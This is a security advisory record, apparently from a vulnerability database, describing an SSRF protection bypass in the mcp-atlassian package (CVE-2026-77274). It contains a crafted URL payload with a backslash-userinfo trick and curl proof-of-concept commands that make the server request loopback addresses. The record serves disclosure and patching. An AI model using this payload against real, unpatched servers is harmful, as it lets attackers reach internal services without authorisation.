\u0027{\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/call\",\"params\":{\"name\":\"jira_get_issue\",\"arguments\":{\"issue_key\":\"TEST-1\"}}}\u0027\n```\n\nObserved response:\n\n\u003cimg width=\"1505\" height=\"442\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f98a2ad6-8bc2-453c-9ef8-481dd991bc8e\" /\u003e\n\nThe local HTTP server also receives the request, confirming SSRF.\n\n\u003cimg width=\"891\" height=\"131\" alt=\"image\" src=\"https://github.com/user-attachments/assets/3bbeb142-2aae-4d1d-ae65-7f57015325c6\" /\u003e\n\n## Root Cause\n\nThe security validation and the actual HTTP request do not use the same URL interpretation.\n\n- `validate_url_for_ssrf()` uses `urllib.parse.urlparse()` and validates `parsed.hostname`.\n- For the payload, `parsed.hostname` is `www.baidu.com`.\n- The actual request is sent by the Atlassian client through `requests.Session`.\n- `requests` treats the target as `127.0.0.1:6666` and percent-encodes the backslash into the request path.\n\nThis parser mismatch allows a restricted host to be hidden before `\\@`.\n\n## Impact\n\nAn attacker who can provide `X-Atlassian-Jira-Url` or `X-Atlassian-Confluence-Url` may force the server to send requests to loopback or internal services despite SSRF validation.",
"id": "GHSA-hgcf-4mq8-5266",
"modified": "2026-09-22T20:36:22Z",
"published": "2026-09-22T20:36:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-hgcf-4mq8-5266"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77274"
},
{
"type": "WEB",
"url": "https://github.com/sooperset/mcp-atlassian/pull/1448"
},
{
"type": "WEB",
"url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460"
},
{
"type": "PACKAGE",
"url": "https://github.com/sooperset/mcp-atlassian"
},
{
"type": "WEB",
"url": "https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "MCP Atlassian: SSRF Protection Bypass"
}
PYSEC-2026-4096
Vulnerability from pysec - Published: 2026-10-01 16:38 - Updated: 2026-10-01 17:10
VLAI
Details
Environment
- Project:
sooperset/mcp-atlassian - Affected function:
validate_url_for_ssrf() - Affected path: header-based Jira/Confluence URL authentication flow
- Tested endpoint:
POST /mcp - Tested version:
2.14.5
Description
The SSRF protection in validate_url_for_ssrf() can be bypassed with a URL containing a backslash before userinfo-like syntax.
Affected code:
parsed = urlparse(url)
hostname = parsed.hostname
...
ip_error = _check_ip_address(hostname)
...
dns_error = _check_dns_resolution(hostname)
Payload:
http://127.0.0.1:6666\@www.baidu.com
For this input, urllib.parse.urlparse() treats the hostname as:
www.baidu.com
Therefore, validate_url_for_ssrf() validates www.baidu.com instead of 127.0.0.1. However, the downstream request made through the Atlassian client / requests.Session reaches the local service:
http://127.0.0.1:6666/%5C@www.baidu.com/rest/api/2/myself
This allows an attacker-controlled Jira URL to target loopback or internal services.
Proof of Concept
Start a local HTTP server:
python3 -m http.server 6666 --bind 127.0.0.1
Start mcp-atlassian with streamable HTTP transport on port 9000.
Initialize an MCP session with the malicious Jira URL:
curl -i http://127.0.0.1:9000/mcp \
-H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' \
-H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\@www.baidu.com' \
-H 'X-Atlassian-Jira-Personal-Token: dummy-token' \
--data '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"ssrf-test","version":"0.1"}}}'
Send the initialized notification using the returned Mcp-Session-Id:
curl -i http://127.0.0.1:9000/mcp \
-H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' \
-H 'mcp-session-id: <SESSION_ID>' \
-H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\@www.baidu.com' \
-H 'X-Atlassian-Jira-Personal-Token: dummy-token' \
--data '{"jsonrpc":"2.0","method":"notifications/initialized"}'
Trigger Jira fetcher creation and token validation:
curl -i http://127.0.0.1:9000/mcp \
-H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' \
-H 'mcp-session-id: <SESSION_ID>' \
-H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\@www.baidu.com' \
-H 'X-Atlassian-Jira-Personal-Token: dummy-token' \
--data '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"jira_get_issue","arguments":{"issue_key":"TEST-1"}}}'
Observed response:
The local HTTP server also receives the request, confirming SSRF.
Root Cause
The security validation and the actual HTTP request do not use the same URL interpretation.
validate_url_for_ssrf()usesurllib.parse.urlparse()and validatesparsed.hostname.- For the payload,
parsed.hostnameiswww.baidu.com. - The actual request is sent by the Atlassian client through
requests.Session. requeststreats the target as127.0.0.1:6666and percent-encodes the backslash into the request path.
This parser mismatch allows a restricted host to be hidden before \@.
Impact
An attacker who can provide X-Atlassian-Jira-Url or X-Atlassian-Confluence-Url may force the server to send requests to loopback or internal services despite SSRF validation.
Severity
Impacted products
| Name | purl | mcp-atlassian | pkg:pypi/mcp-atlassian |
|---|
Aliases
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "mcp-atlassian",
"purl": "pkg:pypi/mcp-atlassian"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.22.0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.1.1",
"0.1.10",
"0.1.11",
"0.1.12",
"0.1.13",
"0.1.14",
"0.1.15",
"0.1.16",
"0.1.2",
"0.1.3",
"0.1.4",
"0.1.6",
"0.1.7",
"0.1.8",
"0.1.9",
"0.10.0",
"0.10.1",
"0.10.2",
"0.10.3",
"0.10.4",
"0.10.5",
"0.10.6",
"0.11.0",
"0.11.1",
"0.11.10",
"0.11.11",
"0.11.12",
"0.11.2",
"0.11.2a2",
"0.11.3",
"0.11.4",
"0.11.5",
"0.11.6",
"0.11.7",
"0.11.8",
"0.11.9",
"0.12.0",
"0.13.0",
"0.13.1",
"0.14.0",
"0.14.1",
"0.14.2",
"0.14.3",
"0.15.0",
"0.16.0",
"0.16.1",
"0.17.0",
"0.18.0",
"0.18.1",
"0.19.0",
"0.2.0",
"0.2.1",
"0.2.2",
"0.2.3",
"0.2.4",
"0.2.5",
"0.2.6",
"0.20.0",
"0.20.1",
"0.21.0",
"0.21.1",
"0.3.0",
"0.3.1",
"0.4.0",
"0.5.0",
"0.6.0",
"0.6.1",
"0.6.2",
"0.6.3",
"0.6.4",
"0.6.5",
"0.7.0",
"0.7.1",
"0.8.0",
"0.8.1",
"0.8.2",
"0.8.3",
"0.8.4",
"0.9.0"
]
}
],
"aliases": [
"CVE-2026-77274",
"GHSA-hgcf-4mq8-5266"
],
"details": "## Environment\n\n- Project: `sooperset/mcp-atlassian`\n- Affected function: `validate_url_for_ssrf()`\n- Affected path: header-based Jira/Confluence URL authentication flow\n- Tested endpoint: `POST /mcp`\n- Tested version: `2.14.5`\n\n## Description\n\nThe SSRF protection in `validate_url_for_ssrf()` can be bypassed with a URL containing a backslash before userinfo-like syntax.\n\nAffected code:\n\n```python\nparsed = urlparse(url)\nhostname = parsed.hostname\n...\nip_error = _check_ip_address(hostname)\n...\ndns_error = _check_dns_resolution(hostname)\n```\n\nPayload:\n\n```text\nhttp://127.0.0.1:6666\\@www.baidu.com\n```\n\nFor this input, `urllib.parse.urlparse()` treats the hostname as:\n\n```text\nwww.baidu.com\n```\n\nTherefore, `validate_url_for_ssrf()` validates `www.baidu.com` instead of `127.0.0.1`. However, the downstream request made through the Atlassian client / `requests.Session` reaches the local service:\n\n```text\nhttp://127.0.0.1:6666/%5C@www.baidu.com/rest/api/2/myself\n```\n\nThis allows an attacker-controlled Jira URL to target loopback or internal services.\n\n## Proof of Concept\n\nStart a local HTTP server:\n\n```bash\npython3 -m http.server 6666 --bind 127.0.0.1\n```\n\nStart `mcp-atlassian` with streamable HTTP transport on port `9000`.\n\nInitialize an MCP session with the malicious Jira URL:\n\n```bash\ncurl -i http://127.0.0.1:9000/mcp \\\n -H \u0027Content-Type: application/json\u0027 \\\n -H \u0027Accept: application/json, text/event-stream\u0027 \\\n -H \u0027X-Atlassian-Jira-Url: http://127.0.0.1:6666\\@www.baidu.com\u0027 \\\n -H \u0027X-Atlassian-Jira-Personal-Token: dummy-token\u0027 \\\n --data \u0027{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"initialize\",\"params\":{\"protocolVersion\":\"2025-06-18\",\"capabilities\":{},\"clientInfo\":{\"name\":\"ssrf-test\",\"version\":\"0.1\"}}}\u0027\n```\n\nSend the initialized notification using the returned `Mcp-Session-Id`:\n\n```bash\ncurl -i http://127.0.0.1:9000/mcp \\\n -H \u0027Content-Type: application/json\u0027 \\\n -H \u0027Accept: application/json, text/event-stream\u0027 \\\n -H \u0027mcp-session-id: \u003cSESSION_ID\u003e\u0027 \\\n -H \u0027X-Atlassian-Jira-Url: http://127.0.0.1:6666\\@www.baidu.com\u0027 \\\n -H \u0027X-Atlassian-Jira-Personal-Token: dummy-token\u0027 \\\n --data \u0027{\"jsonrpc\":\"2.0\",\"method\":\"notifications/initialized\"}\u0027\n```\n\nTrigger Jira fetcher creation and token validation:\n\n```bash\ncurl -i http://127.0.0.1:9000/mcp \\\n -H \u0027Content-Type: application/json\u0027 \\\n -H \u0027Accept: application/json, text/event-stream\u0027 \\\n -H \u0027mcp-session-id: \u003cSESSION_ID\u003e\u0027 \\\n -H \u0027X-Atlassian-Jira-Url: http://127.0.0.1:6666\\@www.baidu.com\u0027 \\\n -H \u0027X-Atlassian-Jira-Personal-Token: dummy-token\u0027 \\\n --data \u0027{\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/call\",\"params\":{\"name\":\"jira_get_issue\",\"arguments\":{\"issue_key\":\"TEST-1\"}}}\u0027\n```\n\nObserved response:\n\n\u003cimg width=\"1505\" height=\"442\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f98a2ad6-8bc2-453c-9ef8-481dd991bc8e\" /\u003e\n\nThe local HTTP server also receives the request, confirming SSRF.\n\n\u003cimg width=\"891\" height=\"131\" alt=\"image\" src=\"https://github.com/user-attachments/assets/3bbeb142-2aae-4d1d-ae65-7f57015325c6\" /\u003e\n\n## Root Cause\n\nThe security validation and the actual HTTP request do not use the same URL interpretation.\n\n- `validate_url_for_ssrf()` uses `urllib.parse.urlparse()` and validates `parsed.hostname`.\n- For the payload, `parsed.hostname` is `www.baidu.com`.\n- The actual request is sent by the Atlassian client through `requests.Session`.\n- `requests` treats the target as `127.0.0.1:6666` and percent-encodes the backslash into the request path.\n\nThis parser mismatch allows a restricted host to be hidden before `\\@`.\n\n## Impact\n\nAn attacker who can provide `X-Atlassian-Jira-Url` or `X-Atlassian-Confluence-Url` may force the server to send requests to loopback or internal services despite SSRF validation.",
"id": "PYSEC-2026-4096",
"modified": "2026-10-01T17:10:30.957291Z",
"published": "2026-10-01T16:38:36.242055Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-hgcf-4mq8-5266"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77274"
},
{
"type": "WEB",
"url": "https://github.com/sooperset/mcp-atlassian/pull/1448"
},
{
"type": "WEB",
"url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460"
},
{
"type": "PACKAGE",
"url": "https://github.com/sooperset/mcp-atlassian"
},
{
"type": "WEB",
"url": "https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0"
},
{
"type": "PACKAGE",
"url": "https://pypi.org/project/mcp-atlassian"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-hgcf-4mq8-5266"
}
],
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "MCP Atlassian: SSRF Protection Bypass"
}
Loading…
Loading…
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
Loading…
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Loading…
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.